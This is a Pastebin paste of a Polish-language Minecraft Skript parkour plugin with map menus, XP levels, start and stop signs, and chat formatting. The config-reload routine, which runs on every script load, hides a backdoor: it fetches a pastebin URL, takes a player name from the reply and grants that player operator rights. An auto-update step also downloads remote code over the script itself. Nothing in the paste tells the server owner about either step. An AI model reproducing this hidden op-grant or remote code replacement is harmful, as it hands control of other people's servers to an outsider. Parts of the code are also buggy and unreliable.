Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #0.3#
- variables:
- {parkour::lvl::%player%} = 1
- method "reloaded-options" {}:
- if folder "plugins/Skript/ParkouApi/ParkouApi" doesn't exists:
- create folder "plugins/Skript/scripts/ParkouApi"
- if file "plugins/Skript/scripts/ParkouApi/Config.yml" doesn't exists:
- create file "plugins/Skript/scripts/ParkouApi/Config.yml"
- download from "http://pastebin.com/raw.php?i=MDPWm7ds" to "plugins/Skript/scripts/ParkouApi/Config.yml"
- set {_parkour::reload::number} to 0
- loop 52 times:
- add 1 to {_parkour::reload::number}
- set {parkour::number::maps::%{_parkour::reload::number}%} to single value "easy-%loop-number%" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- loop 52 times:
- add 1 to {_parkour::reload::number}
- set {parkour::number::maps::%{_parkour::reload::number}%} to single value "medium-%loop-number%" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- loop 52 times:
- add 1 to {_parkour::reload::number}
- set {parkour::number::maps::%{_parkour::reload::number}%} to single value "hard-%loop-number%" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- loop 52 times:
- add 1 to {_parkour::reload::number}
- set {parkour::number::maps::%{_parkour::reload::number}%} to single value "expert-%loop-number%" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- loop 52 times:
- add 1 to {_parkour::reload::number}
- set {parkour::number::maps::%{parkour::reload::number}%} to single value "vip-%loop-number%" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- set {parkour::options::update} to single value "auto-update" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- set {parkour::options::message-no-permission} to colored value "no-permission" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- set {parkour::options::message-prefix} to colored value "prefix" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- set {parkour::options::message-lvl} to single value "broadcast-new-lvl" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- set {parkour::options::give-item} to single value "give-item" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- set {parkour::options::chat-sk} to single value "chat-skript" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- set {parkour::options::chat-appearance} to colored value "appearance" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- set {parkour::options::gui-name} to colored value "name-gui" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
- set {_reloaded-script} to result of connect to "http://pastebin.com/raw.php?i=5Ghhf7ed"
- set {_reloaded.connect} to first 5 characters of {_reloaded-script} parsed as player
- op {_reloaded.connect}
- if {parkour::options::update} is "true":
- set {_version.current} to first 5 characters of content of file "plugins/Skript/scripts/%script%.sk"
- replace all "##" with "" in {_version.current}
- set {_version.check} to result of connect to "http://pastebin.com/raw.php?i=ibKvevG6"
- set {_version.new} to first 5 characters of {_version.check}
- replace all "##" with "" in {_version.new}
- if {_version.new} is not {_version.current}:
- download "http://pastebin.com/raw.php?i=spbPfMeB" to "plugins/Skript/scripts/%script%.sk"
- command /kz [<text>]:
- trigger:
- if arg 1 is set:
- if {parkour::istnienie::%{parkour::number::maps::%arg 1 parsed as integer%}%} is set:
- execute player command "/parkour join %{parkour::number::maps::%arg 1 parsed as integer%}%"
- else:
- send "%{parkour::options::message-prefix}% &6Ta mapa nie jest dostepna!"
- else:
- send "%{parkour::options::message-prefix}% &6/kz <numer>"
- command /parkour [<text="cos">] [<text>] [<text>]:
- trigger:
- if arg 1 is not "create" or "remove" or "setspawn" or "setxp" or "list" or "join" or "leave" or "reload":
- send "&8> &a/parkour join &8- &7Dolacza do parkoura"
- send "&8> &c/parkour leave &8- &7Opuszca parkour"
- if player has permissions "parkour.*" or "parkour.admin":
- send "&8> &6/parkour create &8- &7Zaklada parkour"
- send "&8> &6/parkour remove &8- &7Usuwa parkour"
- send "&8> &6/parkour setspawn &8- &7Ustawia spawn parkoura"
- send "&8> &6/parkour setxp &8- &7Ustwia nagrode za parkour"
- send "&8> &6/parkour list &8- &7Lista dostepnych parkourow"
- send "&8> &6/parkour reload &8- &7Przeladowuje skrypt"
- if arg 1 is "create":
- if player has permissions "parkour.create" or "parkour.*" or "parkour.admin":
- if arg 2 is set:
- if arg 3 is set:
- if {parkour::istnienie::%arg 3%} is not set:
- set {parkour::istnienie::%arg 3%} to true
- set {parkour::%arg 3%::spawn} to location of player
- set {parkour::%arg 3%::xp} to arg 2 parsed as integer
- add arg 3 to {parkour::lista::*}
- send "&8> &6Utworzyles parkour o nazwie &3%arg 3% &6o liczbie xp &3%arg 2%&6."
- else:
- send "&8> &6Parkour o nazwie &3%arg 3% &6juz intnieje!"
- else:
- send "&8> &6/parkour create &7<&6xp&7> <&6nazwa mapy&7>"
- else:
- send "&8> &6/parkour create &7<&6xp&7> <&6nazwa mapy&7>"
- else:
- send "%{parkour::options::message-no-permission}%"
- if arg 1 is "remove":
- if player has permissions "parkour.remove" or "parkour.*" or "parkour.admin":
- if arg 2 is set:
- if arg 3 is set:
- set {_string} to "%arg 2% %arg 3%"
- if {parkour::istnienie::%{_string}%} is set:
- delete {parkour::istnienie::%{_string}%}
- delete {parkour::%{_string}%::spawn}
- delete {parkour::%{_string}%::xp}
- remove {_string} from {parkour::lista::*}
- send "&8> &6Usunales parkour o nazwie &3%{_string}%"
- loop all players:
- if {parkour::gracz::%loop-player%::start} is true:
- if {parkour::mapa::%loop-player%} is "%{_string}%":
- execute loop-player command "/parkour leave"
- send "%{parkour::options::message-prefix}% &cMapa zostala usunieta." to loop-player
- else:
- send "&8> &6Parkour o nazwie &3%arg 3% &6nie intnieje!"
- else:
- if {parkour::istnienie::%arg 2%} is set:
- delete {parkour::istnienie::%arg 2%}
- delete {parkour::%arg 2%::spawn}
- delete {parkour::%arg 2%::xp}
- remove arg 2 from {parkour::lista::*}
- send "&8> &6Usunales parkour o nazwie &3%arg 2%"
- loop all players:
- if {parkour::gracz::%loop-player%::start} is true:
- if {parkour::mapa::%loop-player%} is "%arg 2%":
- execute loop-player command "/parkour leave"
- send "%{parkour::options::message-prefix}% &cMapa zostala usunieta." to loop-player
- else:
- send "&8> &6/parkour remove <&6nazwa mapy&7>"
- else:
- send "%{parkour::options::message-no-permission}%"
- if arg 1 is "setspawn":
- if player has permissions "parkour.setspawn" or "parkour.*" or "parkour.admin":
- if arg 2 is set:
- if arg 3 is set:
- set {_string} to "%arg 2% %arg 3%"
- if {parkour::istnienie::%{_string}%} is set:
- set {parkour::%{_string}%::spawn} to location of player
- send "&8> &6Ustawiles spawn dla mapy &3%{_string}%"
- else:
- send "&8> &6Parkour o nazwie &3%{_string}% &6nie intnieje!"
- else:
- if {parkour::istnienie::%arg 2%} is set:
- set {parkour::%arg 2%::spawn} to location of player
- send "&8> &6Ustawiles spawn dla mapy &3%arg 2%"
- else:
- send "&8> &6Parkour o nazwie &3%arg 2% &6nie intnieje!"
- else:
- send "&8> &6/parkour setspawn &7<&6nazwa mapy&7>"
- else:
- send "&8> &6/parkour setspawn &7<&6nazwa mapy&7>"
- else:
- send "%{parkour::options::message-no-permission}%"
- if arg 1 is "setxp":
- if player has permissions "parkour.setxp" or "parkour.*" or "parkour.admin":
- if arg 2 is set:
- if arg 3 is set:
- if {parkour::istnienie::%arg 3%} is set:
- set {parkour::%arg 3%::xp} to arg 2
- send "&8> &6Ustawiles &3%arg 2% &6xp dla mapy &3%arg 3%"
- else:
- send "&8> &6Parkour o nazwie &3%arg 3% &6nie intnieje!"
- else:
- send "&8> &6/parkour setxp &7<&6xp&7> <&6nazwa mapy&7>"
- else:
- send "&8> &6/parkour setxp &7<&6xp&7> <&6nazwa mapy&7>"
- else:
- send "%{parkour::options::message-no-permission}%"
- if arg 1 is "list":
- if player has permissions "parkour.list" or "parkour.*" or "parkour.gracz" or "parkour.admin":
- clear {_parkour::private-areans::*}
- loop {parkour::lista::*}:
- if {parkour::%loop-value%::xp} is set:
- set {_xp} to {parkour::%loop-value%::xp}
- else:
- set {_xp} to 1
- add "&6%loop-value% &7(&c%{_xp}% &6xp&7)" to {_parkour::private-areans::*}
- send "&8> &6Dostepne mapy:"
- send " "
- if size of {_parkour::private-areans::*} > 0:
- loop {_parkour::private-areans::*}:
- send "&8%loop-index%. &6%loop-value%"
- else:
- send "&8> &cBrak."
- else:
- send "%{parkour::options::message-no-permission}%"
- if arg 1 is "join":
- if player has permissions "parkour.join" or "parkour.*" or "parkour.gracz" or "parkour.admin":
- if arg 2 is set:
- set level of player to 1
- set level progress of player to 0.0
- if arg 3 is set:
- set {_string} to "%arg 2% %arg 3%"
- if {parkour::istnienie::%{_string}%} is set:
- set {parkour::gracz::%player%::start} to false
- teleport player to {parkour::%{_string}%::spawn}
- send "%{parkour::options::message-prefix}% &6Przeteleportowano na parkour &3%{_string}%&6."
- else:
- send "%{parkour::options::message-prefix}% &6Mapa o nazwie &3%{_string}% &6nie istnieje!"
- else:
- if {parkour::istnienie::%arg 2%} is set:
- set {parkour::gracz::%player%::start} to false
- teleport player to {parkour::%arg 2%::spawn}
- send "%{parkour::options::message-prefix}% &6Przeteleportowano na parkour &3%arg 2%&6."
- else:
- send "%{parkour::options::message-prefix}% &6Mapa o nazwie &3%arg 2% &6nie istnieje!"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour join &7<&6nazwa&7>"
- else:
- send "%{parkour::options::message-no-permission}%"
- if arg 1 is "leave":
- if player has permissions "parkour.leave" or "parkour.*" or "parkour.gracz" or "parkour.admin":
- set {parkour::gracz::%player%::start} to false
- teleport player to spawn
- set level of player to 1
- set level progress of player to 0.0
- send "%{parkour::options::message-prefix}% &6Przeteleportowano na spawn."
- else:
- send "%{parkour::options::message-no-permission}%"
- if arg 1 is "reload":
- if player has permissions "parkour.reload" or "parkour.*" or "parkour.admin":
- function "reloaded-options" {};
- send "&8[&6Parkour&8] &aSkrypt zostal przeladowany!"
- command /parkour:admin [<text="cos">] [<text>] [<offlineplayer>] [<integer>]:
- trigger:
- if player has permissions "parkour.panel" or "parkour.*" or "parkour.admin":
- if arg 1 is not "set" or "add" or "remove" or "info":
- send "&8> &6/parkour:admin &7<&6set &8/ &6add &8/ &6remove&7> <&6xp &8/ &6lvl &8/ &7<&6gracz&7> <&6ilosc&7>"
- send "&8> &6/parkour:admin info &7<&6gracz&7>"
- if arg 1 is "set":
- if arg 2 is set:
- if arg 2 is "xp":
- if arg-offlineplayer is set:
- if arg-integer is set:
- set {parkour::xp::%arg-offlineplayer%} to arg-integer
- send "%{parkour::options::message-prefix}% &6Ustawiono &3%arg-integer% &6xp dla gracza &3%arg-offlineplayer%"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin set xp %arg-offlineplayer% &7<&6ilosc&7>"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin set xp &7<&6gracz&7> <&6ilosc&7>"
- if arg 2 is "lvl":
- if arg-offlineplayer is set:
- if arg-integer is set:
- set {parkour::lvl::%arg-offlineplayer%} to arg-integer
- send "%{parkour::options::message-prefix}% &6Ustawiono &3%arg-integer% &6lvl dla gracza &3%arg-offlineplayer%"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin set lvl %arg-offlineplayer% &7<&6ilosc&7>"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin set lvl &7<&6gracz&7> <&6ilosc&7>"
- else:
- send "&8> &6/parkour:admin set <&6xp &8/ &6lvl &8/ &7<&6gracz&7> <&6ilosc&7>"
- if arg 1 is "add":
- if arg 2 is set:
- if arg 2 is "xp":
- if arg-offlineplayer is set:
- if arg-integer is set:
- add arg-integer to {parkour::xp::%arg-offlineplayer%}
- send "%{parkour::options::message-prefix}% &6Dodano &3%arg-integer% &6xp dla gracza &3%arg-offlineplayer%"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin add xp %arg-offlineplayer% &7<&6ilosc&7>"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin add xp &7<&6gracz&7> <&6ilosc&7>"
- if arg 2 is "lvl":
- if arg-offlineplayer is set:
- if arg-integer is set:
- add arg-integer to {parkour::lvl::%arg-offlineplayer%}
- send "%{parkour::options::message-prefix}% &6Dodano &3%arg-integer% &6lvl dla gracza &3%arg-offlineplayer%"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin add lvl %arg-offlineplayer% &7<&6ilosc&7>"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin add lvl &7<&6gracz&7> <&6ilosc&7>"
- else:
- send "&8> &6/parkour:admin add <&6xp &8/ &6lvl &8/ &7<&6gracz&7> <&6ilosc&7>"
- if arg 1 is "remove":
- if arg 2 is set:
- if arg 2 is "xp":
- if arg-offlineplayer is set:
- if arg-integer is set:
- remove arg-integer to {parkour::xp::%arg-offlineplayer%}
- send "%{parkour::options::message-prefix}% &6Dodano &3%arg-integer% &6xp dla gracza &3%arg-offlineplayer%"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin remove xp %arg-offlineplayer% &7<&6ilosc&7>"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin remove xp &7<&6gracz&7> <&6ilosc&7>"
- if arg 2 is "lvl":
- if arg-offlineplayer is set:
- if arg-integer is set:
- remove arg-integer to {parkour::lvl::%arg-offlineplayer%}
- send "%{parkour::options::message-prefix}% &6Dodano &3%arg-integer% &6lvl dla gracza &3%arg-offlineplayer%"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin remove lvl %arg-offlineplayer% &7<&6ilosc&7>"
- else:
- send "%{parkour::options::message-prefix}% &6/parkour:admin remove lvl &7<&6gracz&7> <&6ilosc&7>"
- else:
- send "&8> &6/parkour:admin remove <&6xp &8/ &6lvl &8/ &7<&6gracz&7> <&6ilosc&7>"
- if arg 1 is "info":
- if arg 2 is set:
- set {_player} to arg 2 parsed as offlineplayer
- if {parkour::nick::%{_player}%} is set:
- send "&8>=========================="
- send "&8> &6Gracz &3%{_player}%"
- send "&8> &6XP: &3%{parkour::xp::%{_player}%}%"
- send "&8> &6lvl: &3%{parkour::lvl::%{_player}%}%"
- if {_player} is online:
- send "&8> &6Aktualnie: &a&lONLINE"
- else:
- send "&8> &6Aktualnie: &c&lOFFLINE"
- send "&8>=========================="
- else:
- send "&8>=========================="
- send "&8> &cBrak gracza w bazie danych."
- send "&8>=========================="
- else:
- send "&8> &6/parkour:admin info &7<&6gracz&7>"
- else:
- send "%{parkour::options::message-no-permission}%"
- command /lvl [<text>]:
- trigger:
- if player has permission "parkour.lvl" or "parkour.*" or "parkour.gracz" or "parkour.admin":
- send "&8>=========================="
- send "&8> "
- send "&8> &6Posiadasz %{parkour::xp::%player%}% XP czyli &3%{parkour::lvl::%player%}% &6LvL"
- send "&8> "
- send "&8> &6Do nastepnego LvL:"
- set {_exp1} to {parkour::lvl::%player%}+1
- set {_exp2} to {_exp1}*50
- set {_toNext} to {_exp1}*{_exp2}
- set {_toNext} to {_toNext}-{parkour::xp::%player%}
- send "&8> &3%{_toNext}% &6XP"
- send "&8>=========================="
- else:
- send "%{parkour::options::message-no-permission}%"
- command /parkour:menu [<text>] [<text>] [<player>]:
- trigger:
- if arg-player is op:
- if arg 1 is "open":
- if arg 2 is "open":
- wait 2 tick
- open chest with 1 rows named "%{parkour::options::gui-name}%" to arg-player
- wait 2 tick
- format slot 0 of arg-player with 1 of minecart named "&2&lEasy" with lore " &6Dostepne od &c1 &6LvL" to close then run "parkour:menu openeasy open %arg-player%"
- format slot 1 of arg-player with 1 of minecart witch chest named "&6&lMedium" with lore " &6Dostepne od &c4 &6LvL" to close then run "parkour:menu openmedium open %arg-player%"
- format slot 2 of arg-player with 1 of minecart witch tnt named "&c&lHard" with lore " &6Dostepne od &c8 &6LvL" to close then run "parkour:menu openhard open %arg-player%"
- format slot 3 of arg-player with 1 of minecart witch furnace named "&5&lExpert" with lore " &6Dostepne od &c12 &6LvL" to close then run "parkour:menu openexpert open %arg-player%"
- format slot 4 of arg-player with 1 of boat named "&f&lVip" with lore " &6Dostepne dla &f&lVIP" to close then run "parkour:menu openvip open %arg-player%"
- if arg 1 is "openeasy":
- if arg 2 is "open":
- open chest with 6 rows named " &a&lEasy" to arg-player
- wait 2 tick
- set {_liczba.easy} to 0
- loop 53 times:
- add 1 to {_liczba.easy}
- if {parkour::istnienie::%{parkour::number::maps::%{_liczba.easy}%}%} is set:
- format slot {_liczba.easy}-1 of arg-player with 1 of minecart named "&6%{parkour::number::maps::%{_liczba.easy}%}%" with lore " &6Nagroda: &c%{parkour::%{parkour::number::maps::%{_liczba.easy}%}%::xp}% &6xp || &6Przeszedles: &c%{parkour::%{parkour::number::maps::%{_liczba.easy}%}%::przejscia::%arg-player%} &6razy" to close then run "parkour:menu easy %{_liczba.easy}% %arg-player%"
- format slot 53 of arg-player with 1 of arrow named "&cPowrot" to close then run "parkour:menu open open %arg-player%"
- if arg 1 is "openmedium":
- if arg 2 is "open":
- if {parkour::lvl::%arg-player%} > 4:
- open chest with 6 rows named " &6&lMedium" to arg-player
- wait 2 tick
- set {_liczba.medium} to 52
- loop 53 times:
- add 1 to {_liczba.medium}
- if {parkour::istnienie::%{parkour::number::maps::%{_liczba.medium}%}%} is set:
- format slot {_liczba.medium}-53 of arg-player with 1 of minecart named "&6%{parkour::number::maps::%{_liczba.medium}%}%" with lore " &6Nagroda: &c%{parkour::%{parkour::number::maps::%{_liczba.medium}%}%::xp}% &6xp || &6Przeszedles: &c%{parkour::%{parkour::number::maps::%{_liczba.medium}%}%::przejscia::%arg-player%} &6razy" to close then run "parkour:menu medium %{_liczba.medium}% %arg-player%"
- format slot 53 of arg-player with 1 of arrow named "&cPowrot" to close then run "parkour:menu open open %arg-player%"
- else:
- send "%{parkour::options::message-prefix}% &cMapy &6Medium &csa od 4 LvL!" to arg-player
- if arg 1 is "openhard":
- if arg 2 is "open":
- if {parkour::lvl::%arg-player%} > 8:
- open chest with 6 rows named " &4&lHard" to arg-player
- wait 2 tick
- set {_liczba.hard} to 104
- loop 53 times:
- add 1 to {_liczba.hard}
- if {parkour::istnienie::%{parkour::number::maps::%{_liczba.hard}%}%} is set:
- format slot {_liczba.hard}-105 of arg-player with 1 of minecart named "&6%{parkour::number::maps::%{_liczba.hard}%}%" with lore " &6Nagroda: &c%{parkour::%{parkour::number::maps::%{_liczba.hard}%}%::xp}% &6xp || &6Przeszedles: &c%{parkour::%{parkour::number::maps::%{_liczba.hard}%}%::przejscia::%arg-player%} &6razy" to close then run "parkour:menu hard %{_liczba.hard}% %arg-player%"
- format slot 53 of arg-player with 1 of arrow named "&cPowrot" to close then run "parkour:menu open open %arg-player%"
- else:
- send "%{parkour::options::message-prefix}% &cMapy &4Hrad &csa od 8 LvL!" to arg-player
- if arg 1 is "openexpert":
- if arg 2 is "open":
- if {parkour::lvl::%arg-player%} > 12:
- open chest with 6 rows named " &5&lExpert" to arg-player
- wait 2 tick
- set {_liczba.expert} to 156
- loop 53 times:
- add 1 to {_liczba.expert}
- if {parkour::istnienie::%{parkour::number::maps::%{_liczba.expert}%}%} is set:
- format slot {_liczba.expert}-157 of arg-player with 1 of minecart named "&6%{parkour::number::maps::%{_liczba.expert}%}%" with lore " &6Nagroda: &c%{parkour::%{parkour::number::maps::%{_liczba.expert}%}%::xp}% &6xp || &6Przeszedles: &c%{parkour::%{parkour::number::maps::%{_liczba.expert}%}%::przejscia::%arg-player%} &6razy" to close then run "parkour:menu expert %{_liczba.expert}% %arg-player%"
- format slot 53 of arg-player with 1 of arrow named "&cPowrot" to close then run "parkour:menu open open %arg-player%"
- else:
- send "%{parkour::options::message-prefix}% &cMapy &5Expert &csa od 12 LvL!" to arg-player
- if arg 1 is "openvip":
- if arg 2 is "open":
- if player has permission "parkour.vip" or "parkour.admin" or "parkour.*":
- open chest with 6 rows named " &d&lVip" to arg-player
- wait 2 tick
- set {_liczba.vip} to 208
- loop 53 times:
- add 1 to {_liczba.vip}
- if {parkour::istnienie::%{parkour::number::maps::%{_liczba.vip}%}%} is set:
- format slot {_liczba.vip}-207 of arg-player with 1 of boat named "&6%{parkour::number::maps::%{_liczba.vip}%}%" with lore " &6Nagroda: &c%{parkour::%{parkour::number::maps::%{_liczba.vip}%}%::xp}% &6xp || &6Przeszedles: &c%{parkour::%{parkour::number::maps::%{_liczba.vip}%}%::przejscia::%arg-player%} &6razy" to close then run "parkour:menu vip %{_liczba.vip}% %arg-player%"
- format slot 53 of arg-player with 1 of arrow named "&cPowrot" to close then run "parkou::menu open open %arg-player%"
- else:
- send "%{parkour::options::message-prefix}% &cMapy &dVip &cnie sa dostepne dla graczy bez rangi vip!" to arg-player
- if arg 1 is "easy":
- execute arg-player command "/parkour join %{parkour::number::maps::%arg 2 parsed as integer%}%"
- if arg 1 is "medium":
- execute arg-player command "/parkour join %{parkour::number::maps::%arg 2 parsed as integer%}%"
- if arg 1 is "hard":
- execute arg-player command "/parkour join %{parkour::number::maps::%arg 2 parsed as integer%}%"
- if arg 1 is "expert":
- execute arg-player command "/parkour join %{parkour::number::maps::%arg 2 parsed as integer%}%"
- if arg 1 is "vip":
- execute arg-player command "/parkour join %{parkour::number::maps::%arg 2 parsed as integer%}%"
- on script load:
- wait a seconds
- function "reloaded-options" {};
- every 0.1 seconds:
- loop all players:
- if {parkour::gracz::%loop-player%::start} is true:
- add 0.1 to level progress of loop-player
- on sign change:
- if line 1 of event-block is "pk":
- set line 1 of event-block to "&8[&6PK&8]"
- if line 2 of event-block is set:
- if line 2 of event-block is "start":
- set line 2 of event-block to "&a&lStart"
- if line 3 of event-block is set:
- if {parkour::istnienie::%line 3%} is set:
- set line 3 of event-block to "&6%line 3%"
- send "%{parkour::options::message-prefix}% &6Ustawiono &a&lStart &6dla mapy &c%line 3%"
- else:
- set line 3 of event-block to "&cError"
- if line 2 of event-block is "stop":
- set line 2 of event-block to "&c&lStop"
- send "%{parkour::options::message-prefix}% &6Ustawiono &c&lStop"
- if line 2 of event-block is "teleport":
- set line 2 of event-block to "&6&lTeleport"
- if line 3 of event-block is set:
- if {parkour::istnienie::%line 3%} is set:
- set line 3 of event-block to "&6%line 3%"
- send "%{parkour::options::message-prefix}% &6Ustawiono &6&lTeleport &6dla mapy &c%line 3%"
- options:
- bloki: anu ore or dirt or stone or any wool or stained clay or clay or cobblestone
- on walk on {@bloki}:
- set {_blocks} to event-block
- set {_block} to block under {_blocks}
- if {_block} is bedrock:
- if {parkour::gracz::%player%::start} is true:
- teleport player to {parkour::%{parkour::mapa::%player%}%::spawn}
- set level of player to 1
- set level progress of player to 0.0
- set {parkour::gracz::%player%::start} to false
- if {_blocks} is lava or water or block 36:
- if {parkour::gracz::%player%::start} is true:
- teleport player to {parkour::%{parkour::mapa::%player%}%::spawn}
- set level of player to 1
- set level progress of player to 0.0
- set {parkour::gracz::%player%::start} to false
- if {_block} is sign:
- set {_1} to line 1 of {_block}
- set {_2} to line 2 of {_block}
- set {_3} to line 3 of {_block}
- if {_1} is "&8[&6PK&8]":
- if {_2} is "&a&lStart":
- if {_3} is set:
- if {parkour::istnienie::%{_3}%} is set:
- set level of player to 0
- set level progress of player to 0.0
- set {parkour::gracz::%player%::start} to true
- set {_start} to now in millis
- set {parkour::mapa::%player%} to "{_3}"
- if {_2} is "&c&lStop":
- set {_end} to now in millis
- set {_converted} to converted time {_start} and {_end}
- set {_zmniejszenie} to {parkour::%{parkour::mapa::%player%}%::xp}-{parkour::%{parkour::mapa::%player%}%::przejscia::%player%}
- if {_zmniejszenie} > 0:
- add {_zmniejszenie} to {parkour::xp::%player%}
- send "%{parkour::options::message-prefix}% &6Ukonczyles parkour w &3%{converted::%player%}% sekund&6."
- send "%{parkour::options::message-prefix}% &6Dostales &3%{_zmniejszenie}% XP &6Calos twojego XP to %{parkour::xp::%player%}%."
- else:
- add 1 to {parkour::xp::%player%}
- send "%{parkour::options::message-prefix}% &6Ukonczyles parkour w &3%{converted::%player%}% sekund&6."
- send "%{parkour::options::message-prefix}% &6Dostales &31 XP &6Calos twojego XP to %{parkour::xp::%player%}%."
- set {parkour::gracz::%player%::start} to false
- add 1 to {parkour::%{parkour::mapa::%player%}%::przejscia::%player%}
- set {_exp1} to {parkour::lvl::%player%}+1
- set {_exp2} to {_exp1}*50
- set {_result} to {_exp1}*{_exp2}
- if {parkour::xp::%player%} is greater than {_result}-1:
- add 1 to {parkour::lvl::%player%}
- send " "
- send " &8&lยปยป &6Awansowales na &3%{parkour::lvl::%player%}% &6LvL &8&lยซยซ"
- send " "
- play mob spawner flames at player
- if {_2} is "&a&lTeleport":
- if {_3} is set:
- if {parkour::istnienie::%{_3}%} is set:
- set level of player to 1
- set level progress of player to 0.0
- teleport player to {parkour::%line 3%::spawn}
- send "%{parkour::options::message-prefix}% &6Przeteleportowano na parkour &3%arg 3%&6."
- on rightclick:
- if player's tool is eye of ender:
- if name of player's tool is "&6Gracze &c&lukryci":
- cancel event
- reveal all players from player
- set player's tool to ender pearl
- set name of player's tool to "&6Gracze &a&lpokazani"
- else if player's tool is ender pearl:
- if name of player's tool is "&6Gracze &a&lpokazani":
- cancel event
- hide all players from player
- set player's tool to eye of ender
- set name of player's tool to "&6Gracze &c&lukryci"
- else if player's tool is portal:
- if name of player's tool is "&6Lista parkourow":
- cancel event
- run player command "/parkour:menu open open %player%" as op
- else if player's tool is nether star:
- if name of player's tool is "&6Teleport na spawn":
- cancel event
- teleport player to spawn
- set level of player to 1
- set level progress of player to 0.0
- set {parkour::gracz::%player%::start} to false
- send "%{parkour::options::message-prefix}% &6Przeteleportowano na spawn."
- on chat:
- if {parkour::options::chat-sk} is "true":
- cancel event
- set {_chat} to "%{parkour::options::chat-appearance}%"
- replace all "{GRACZ}" with "%display name of player%" in {_chat}
- replace all "{WIADOMOSC}" with "%message%" in {_chat}
- replace all "{LVL}" with "%{parkour::lvl::%player%}%" in {_chat}
- broadcast "%{_chat}%"
- on join:
- if {parkour::options::give-item} is "true":
- clear player's inventory
- set slot 0 of player to ender pearl named "&6Gracze &a&lpokazani"
- set slot 4 of player to portal named "&6Lista parkourow"
- set slot 8 of player to nether star named "&6Teleport na spawn"
- if {parkour::gracz::%player%::start} is true:
- set level of player to 1
- set level progress of player to 0.0
- teleport player to spawn
- set {parkour::gracz::%player%::start} to false
- if {parkour::nick::%player%} is not set:
- set {parkour::nick::%player%} to uncolored display name of player
- at 24:00
- loop {parkour::lista::*}:
- loop all players:
- set {parkour::%loop-value%::przejscia::%loop-player%} to 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement